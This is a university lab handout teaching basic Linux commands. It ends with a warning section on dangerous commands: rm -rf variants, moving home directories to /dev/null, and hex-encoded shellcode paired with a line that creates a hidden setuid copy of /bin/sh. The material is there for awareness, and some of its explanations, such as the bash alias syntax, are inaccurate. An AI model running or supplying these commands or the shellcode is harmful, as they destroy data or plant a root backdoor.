

Dept. of CSE, Bennett University
Linux and Shell programming lab
Lab Assignment - 1
Linux basic commands

The purpose of this assignment is for the student to learn some basic linux commands necessary for survival. Specifically, viewing a file's contents, basic directory commands, and simple man pages.

The tables below summarize the commands you need to know to get started (and to do today's assignment).

■ Step One:

Experiment with each of these commands:

mkdir
rmdir
cd
ls
pwd
cat
head
more
rm
cp
who
date
cal
man

Step two:

Create a log file (a word/ text file to copy paste your commands and their respective output) showing how to do each of the following tasks:

- 1 - type the command whoami
- 2 - create a new directory named lab1
- 3 - change directories into lab1
- 4 - list all files, even hidden files (directory should be blank)
- 5 - create a new file that contains the calendar for this month
- 6 - list all files again, even hidden files (there should be just one file)
- 7 - display the entire contents of that new file
- 8 - delete the file

9 - ask the system when is easter in 2021
10 - aks the system for today's date
End the log file.

Directories

mkdir xyz	make the directory xyz
cd xyz	change directory, down into xyz
cd ..	go up one directory level
cd ~	go to your home directory
cd ~dannellys2	go to dannelly's home directory
ls	list the contents of current directory
ls -a	directory listing, including all hidden files
ls -l	directory listing, show permission, edits dates, etc.
ls -al	really long directory listing

File Manipulation

cp file1 file2	make a copy of file1 named file2
cat myfile	show contents of myfile
more myfile	show contents of myfile one screen at a time
head myfile	show the top 10 lines of myfile
rm myfile	remove myfile (delete it permanently)
rm *	remove all files in current directory
rm -i *	interactive removal - ask yes/no for each file
ls > bob	redirect directory listing into the file named bob

Misc Commands

who	users logged into this machine
date	today's date
cal	calendar (many options)
man -k calendar	list manual pages related to calendar

man cal	manual page for the "cal" command
exit	logout of system
logout	logout of system
ctrl-d	logout of system
ctrl-c	kill the running program

Note: Accidental file removal is a common problem. I highly recommend that you edit the `.bashrc` in your home directory to include the line `alias rm rm -i`. Be sure to add that line *after* the first line of the file and before that odd looking if statement (if you have such).

Time to play on your own risk :)

Test all this on Virtual Box only

This is not intended to make you furious of Linux or Linux command line. We just want to make you aware of some of the commands which you should think twice before you execute them.

1. `rm -rf` Command

The `rm -rf` command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with `rm` command are.

- **rm** command in Linux is used to delete files.
- **rm -r** command deletes the folder recursively, even the empty folder.
- **rm -f** command removes 'Read only File' without asking.
- **rm -rf /** Force deletion of everything in root directory.
- **rm -rf *** Force deletion of everything in current directory/working directory.
- **rm -rf .** Force deletion of current folder and sub folders.

Hence, be careful when you are executing `rm -rf` command. To overcome accidental delete of file by '`rm`' command, create an alias of '`rm`' command as '`rm -i`' in `".bashrc"` file, it will ask you to confirm every deletion.

Hidden Command for rm -rf

The below command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition.

This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don't compile/run codes from an unknown source

```
char esp[] __attribute__((section(".text"))) /* e.s.p
release */

= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"

"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;"
```

mv folder /dev/null

The above command will move 'folder' to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed.

mv /home/user/* /dev/null

The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to blackhole (null).

> file

The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like "> xt.conf" will write the configuration file or any other system or configuration file.

Reference:

<https://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/>

<https://www.geeksforgeeks.org/fork-bomb/>

Submission Instruction:

1. Create a log file (word or text) to store every command you run and their respective output. Save this file with your Roll_no@Lab1 name.
2. Use proper comments where required.
3. Submit the assignment on your LMS/ CollPoll page.
4. Deadline to submit this is one week from the date of launch.
5. Do not copy from others, Plagiarism will attract penalty.